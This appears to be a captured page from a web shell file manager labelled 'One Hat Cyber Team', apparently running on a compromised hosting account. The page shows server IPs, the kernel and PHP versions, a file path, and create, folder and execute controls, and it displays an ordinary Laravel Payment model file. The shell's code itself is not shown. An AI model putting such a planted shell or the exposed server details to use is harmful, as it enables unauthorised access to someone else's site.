⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.31
Server IP:
95.217.99.93
Server:
Linux sv1.sonichosted.com 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lifestylescentra
/
public_html
/
app
/
Models
/
View File Name :
Payment.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; use Modules\Order\app\Models\Order; class Payment extends Model { use HasFactory; protected $table = 'payments'; protected $fillable = ['user_id', 'subscription_id', 'workout_id', 'order_id', 'payment_confirmation_by', 'payment_method', 'transaction_id', 'currency', 'payment_type', 'payment_mode', 'payment_for', 'payment_status', 'total_amount', 'due_amount', 'status', 'paid_at', 'cancelled_at', 'refunded_at', 'failed_at']; public function user() { return $this->belongsTo(User::class); } public function subscription() { return $this->belongsTo(MemberSubscription::class, 'subscription_id'); } public function workout() { return $this->belongsTo(Workout::class); } public function order() { return $this->belongsTo(Order::class); } public function paymentConfirmationBy() { return $this->belongsTo(Admin::class, 'payment_confirmation_by'); } public function getPaymentStatusAttribute($value) { return ucfirst($value); } public function getPaymentTypeAttribute($value) { return ucfirst($value); } }